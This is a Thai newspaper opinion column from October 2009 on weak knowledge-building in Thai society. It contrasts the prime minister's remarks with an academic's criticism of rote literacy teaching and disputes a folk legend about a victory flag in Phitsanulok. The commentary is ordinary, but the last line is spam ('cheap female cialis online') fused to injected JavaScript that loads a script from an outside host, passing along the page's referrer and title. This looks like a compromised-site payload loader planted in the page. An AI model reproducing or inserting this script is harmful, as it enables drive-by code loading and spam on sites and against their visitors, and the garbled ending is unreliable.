หนังสือพิมพ์มติชนฉบับวันอังคารที่ 27 ตุลาคม 2552

นายกรัฐมนตรีบอกว่าสังคมไทยยังอ่อนแอเรื่ององค์ความรู้ จึงต้องเร่งรัดการสร้างองค์ความรู้

แต่กระทรวงศึกษาธิการยังอ่อนแอเรื่องแนวทางการสอนภาษาไทย ทำให้คนอ่านไม่ออก เขียนไม่ได้ ไม่รู้หนังสือจำนวนมาก

จะยกที่สำคัญๆมาให้อ่านเทียบกัน แล้วพิจารณาให้รอบคอบว่าปัญหาอยู่ตรงไหน? จะได้แก้ไขถูกต้อง

นายอภิสิทธิ์ เวชชาชีวะ นายกรัฐมนตรี เป็นประธานเปิดการประชุม “นักวิจัยรุ่นใหม่พบเมธีวิจัยอาวุโส สกว.” เมื่อวันที่ 15 ตุลาคม ที่โรงแรมรีเจน บีช ชะอำ จ. เพชรบุรี แล้วให้นโยบายหัวข้อ “นโยบายและยุทธศาสตร์เพื่อการสนับสนุนการวิจัยเพื่อพัฒนาประเทศ” (มติชน ฉบับวันเสาร์ที่ 17 ตุลาคม 2552 หน้า 22) มีสรุปสาระสำคัญๆว่า

“แม้สังคมและเศรษฐกิจไทยจะพัฒนามาต่อเนื่อง แต่ที่จริงแล้วสังคมไทยยังอ่อนแออีกมากในการสร้างองค์ความรู้”

    “ฐานข้อมูลความรู้ที่จะใช้นำมาตัดสินใจยังมีน้อย และฐานความรู้ที่มียังขาดการใช้เหตุและผลด้วย”

    “สังคมไทยยังไม่ใช้ฐานความรู้ แต่ใช้ฐานความเห็น บางครั้งเป็นฐานอารมณ์ ซึ่งน่าเป็นห่วงมาก—- แล้วไทยจะเป็นสังคมเศรษฐกิจที่มีประสิทธภาพได้อย่างไร”

นางเสาวลักษณ์ รัตนวิชช์ อาจารย์สาขามัธยมศึกษา คณะศึกษาศาสตร์ มหาวิทยาลัยศรีนครินทรวิโรฒ (มศว) เปิดเผยถึงการเรียนการสอนภาษาไทยให้คนที่ไม่รู้หนังสือหรืออ่านไม่ออกเขียนไม่ได้ ว่าจำเป็นอย่างยิ่งที่เราต้องสอนโดยต้องเชื่อมโยงกับอาชีพหรือชีวิตประจำวันที่บุคคลนั้นต้องทำอยู่เป็นประจำ(มติชน ฉบับวันอังคารที่ 13 ตุลาคม 2552 หน้า 23) แล้วอธิบายเพิ่มเติมว่า

“เท่าที่มีประสบการณ์สอนคนแถบคลองเตยที่อ่านไม่ออกเขียนไม่ได้ และเมื่อสอนผ่านวิชาชีพต่างๆที่คนเหล่านั้นสนใจ พบว่าจะเริ่มเรียนรู้ภาษาไทยโดยอัตโนมัติ เป็นการเรียนภาษาโดยไม่รู้ตัว ซึ่งจะดีกว่าสอนให้ท่องให้เขียนตัวอักษรไทยหรือสอนให้อ่านเป็นตัวๆ

    การเรียนผ่านประสบการณ์อาชีพที่คนผู้นั้นสนใจจะทำให้อ่านออกเขียนได้เร็วและเป็นการเรียนที่ไม่น่าเบื่อ ใช้เวลาเรียน 5 ชั่วโมงต่อสัปดาห์ ประมาณ 1-3 เดือนก็จะอ่านออกเขียนได้———

    เมื่อเริ่มอ่านออกเขียนได้ จะอยากเรียนรู้ตำราหรือเรื่องราวอื่นๆที่ตัวเองสนใจ

    จะพบว่าคนที่อ่านไม่ออกเขียนไม่ได้แถบคลองเตยเมื่อเข้ามาอยู่ในโครงการที่ มศว สอนภาษาไทยผ่านอาชีพที่เขาสนใจ ทำให้เกิดแรงบันดาลใจอยากไปเรียนต่อ บางคนไปสมัครเรียนต่อการศึกษานอกโรงเรียน (กศน.)

    ที่ผ่านมากระทรวงศึกษาธิการ (ศธ.) ออกมาให้ตัวเลขเด็กที่อ่านไม่ออกเขียนไม่ได้ หรือคนไทยที่อ่านไม่ออกเขียนไม่ได้เป็นจำนวนมาก แต่เมื่อถามถึงการส่งเสริมเพื่อให้พวกเขาอ่านออกเขียนได้กลับสอนด้วยวิธีเดิมคือให้เข้าไปสู่ระบบการเรียนในชั้นเรียน ที่ต้องเรียนแบบท่องจำตัวอักษร อ่านพยัญชนะ ซึ่งการเรียนในลักษณะนั้นจะทำให้เกิดการปิดกั้น ซึ่งเป็นแนวทางการสอนที่ผิด

    เท่าที่ได้ทำการวิจัยมากว่า 20 ปี เราได้ใช้วิธีนี้สอนกลุ่มผู้ที่ไม่รู้หนังสือจากทั่วโลกมาแล้วหลายสิบประเทศ แต่ประเทศไทยไม่เคยสนใจซึ่งน่าเสียดายมาก”   

ความรู้ที่สังคมไทยมี มักเป็นความรู้“ทางการ”ที่ขาดเหตุผล แล้วได้จากการท่องบ่น มุ่ง“นิพพาน”คนเดียว ไม่เผื่อแผ่แบ่งปันคนอื่น

สถาบันการศึกษาทุกระดับก็เป็นเหมือนกันหมด คือไม่แบงปันความรู้ และไม่เผยแพร่ความรู้สู่สาธารณะ แม้การศึกษา“นอกโรงเรียน”ตามอัธยาศัยแท้ๆ ยังครอบงำกำหนดให้มี“เครื่องแบบ”อย่างเป็น“ทางการ”จนอ่อนแอเหมือน “ในโรงเรียน”


ชาวบ้านวัดหัวร้อง ในเมือง วัดหนือ และหนองลาน อ. นครไทย จ. พิษณุโลก ขึ้นไปปักธงบนเขาช้างล้วง ซึ่งเป็นประเพณีประจำปี โดยเชื่อว่าจะทำให้บ้านเมืองอยู่เย็นเป็นสุข กินดีอยู่ดี ตามประวัติศาสตร์ที่ว่าพ่อขุนบางกลางหาว ปฐมกษัตริย์องค์แรกของไทย ได้ขึ้นมาปักธงแห่งชัยชนะที่นี่ (ภาพและคำบรรยายภาพจากหนังสือพิมพ์โพสต์  ทูเดย์ ฉบับวันพฤหัสบดีที่ 8 ตุลาคม 2552 หน้า A6)
แต่เรื่องนี้ไม่เคยมีหลักฐานใดๆว่าพ่อขุนบางกลางหาวมีหลักแหล่งอยู่บริเวณนี้ อีกทั้งไม่ใช่ “ปฐมกษัตริย์องค์แรกของไทย” แล้วไม่เคยมีหลักฐานว่ามาปักธงแห่งชัยชนะไว้ที่นี่ จึงไม่รู้ว่าชนะอะไร?
นี่เป็นตัวอย่างความอ่อนแอเรื่ององค์ความรู้ทางประวัติศาสตร์ไทย

cheap female cialis onlines.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;